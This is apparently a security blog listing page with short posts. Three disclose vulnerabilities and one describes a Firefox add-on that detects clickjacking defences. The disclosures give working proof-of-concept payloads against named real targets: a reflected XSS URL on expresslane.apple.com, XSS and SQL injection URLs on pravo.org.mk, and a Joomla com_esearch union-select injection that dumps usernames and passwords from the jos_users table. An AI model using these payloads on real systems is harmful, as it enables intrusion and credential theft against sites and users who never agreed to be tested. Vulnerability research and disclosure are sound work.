Apple.com XSS Vulnerability (again)

in

Apple.com is Vulnerability to Xss-Cross Site Scripting. This is my second Xss found on apple site.














Poc:

1.
https://expresslane.apple.com/GetproductgroupList.do?PRKEYS=%3Cscript%3Ealert%28/xss/%29%3C/script%3E

2.

https://expresslane.apple.com/Symptoms.do

By darknessn1k0!a

Read more

TNR Enhanced Joomla Search <= SQL Injection Vulnerability

in

========================================================================================

[o] TNR Enhanced Joomla Search <= SQL Injection Vulnerability

Software : com_esearch ver 3.0.0
Vendor : http://www.tnrjoomla.com/
Author : NoGe
Contact : noge[dot]code[at]gmail[dot]com
Home : http://evilc0de.blogspot.com/

=========================================================================================

[o] Exploit

http://localhost/[path]/index.php?search=NoGe&option=com_esearch&searchId=[SQLi]


[o] PoC

http://localhost/[path]/index.php?search=NoGe&option=com_esearch&searchId=-1+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14+from+jos_users--

Read more

Pravo.org.mk [XSS/Sqli] Vulnerable

in

http://www.pravo.org.mk is vulnerable to xss and Sql injection

Vul links:
[XSS]
http://www.pravo.org.mk/documentlaws.php?id_doc_group=%3Cscript%3Ealert%28/xss/%29%3C/script%3E

[Sqli]
http://www.pravo.org.mk/documentDetail.php?id=5461%27

Read more

Declarative Security - Browser Addons for Mozilla Firefox

in

- Clickjacking Defense - Declarative Sec Detector

The X-FRAME-OPTIONS sets a restriction on the framing of a web page for a particular domain. It uses the value DENY and SAMEORIGIN for rendering the contents into a child frame.It is possible to stop the rendering completely in a child frame using DENY as a parameter. The SAMEORIGIN parameter declares that the content can only come
from the parent site and that no third party content rendering is allowed.This addon scans all the HTTP response headers that accompany with the web page and raises a notification in the status bar showing whether the declarative security for Clickjacking is applied on the respective domain or not.
For more details Refer: http://www.usenix.org/event/collsec10/tech/full_papers/Sood.pdf

Download: https://addons.mozilla.org

Read more